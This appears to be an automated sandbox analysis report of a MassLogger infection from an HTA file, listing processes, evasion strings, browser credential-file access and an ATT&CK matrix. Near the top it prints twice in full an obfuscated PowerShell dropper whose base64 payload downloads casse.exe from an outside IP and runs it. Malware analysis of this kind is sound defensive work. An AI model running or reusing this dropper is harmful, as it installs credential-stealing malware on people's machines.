Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\casse.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/c poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B68945 push ecx; ret		6_2_00B68958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_04C538B7 pushad ; ret		7_2_04C538B8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B448D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_00B448D7
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BC5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_00BC5376

Source: C:\Windows\SysWOW64\mshta.exe	Window / User API: threadDelayed 6982	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6646	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3011	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe TID: 2044	Thread sleep count: 6982 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1704	Thread sleep count: 6646 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8200	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1292	Thread sleep count: 3011 > 30	Jump to behavior

Source: powershell.exe, 00000003.00000002.1431180006.0000000008180000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:\|_
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1427179327.0000000007209000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1427179327.0000000007227000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1430615460.0000000008116000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: powershell.exe, 00000003.00000002.1427179327.0000000007227000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: powershell.exe, 00000003.00000002.1415187273.0000000004C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: RegSvcs.exe, 00000007.00000002.2520833029.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_01656428 mov eax, dword ptr fs:[00000030h]	6_2_01656428
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_01656488 mov eax, dword ptr fs:[00000030h]	6_2_01656488
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_01654DD8 mov eax, dword ptr fs:[00000030h]	6_2_01654DD8

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B6A124 SetUnhandledExceptionFilter,		6_2_00B6A124
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00B6A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		6_2_00B6A155

Source: 6.2.casse.exe.3bb0000.1.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 6.2.casse.exe.3bb0000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 6.2.casse.exe.3bb0000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Source: casse.exe, 00000006.00000002.1410571315.0000000000BF4000.00000002.00000001.01000000.00000009.sdmp, casse.exe.3.dr, casse[1].exe.3.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: casse.exe	Binary or memory string: Shell_TrayWnd

Source: Yara match	File source: 6.2.casse.exe.3bb0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.casse.exe.3bb0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1411260104.0000000003BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2520064928.0000000000752000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: casse.exe PID: 8360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8384, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Source: casse.exe	Binary or memory string: WIN_81
Source: casse.exe	Binary or memory string: WIN_XP
Source: casse.exe	Binary or memory string: WIN_XPe
Source: casse.exe	Binary or memory string: WIN_VISTA
Source: casse.exe	Binary or memory string: WIN_7
Source: casse.exe	Binary or memory string: WIN_8
Source: casse[1].exe.3.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BB6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		6_2_00BB6283
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BB6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_00BB6747

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report niceworkingskillwithbestideasevermade.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
niceworkingskillwithbestideasevermade.hta

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	12 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	128 System Information Discovery	Distributed Component Object Model	121 Input Capture	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 Masquerading	LSA Secrets	231 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Valid Accounts	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement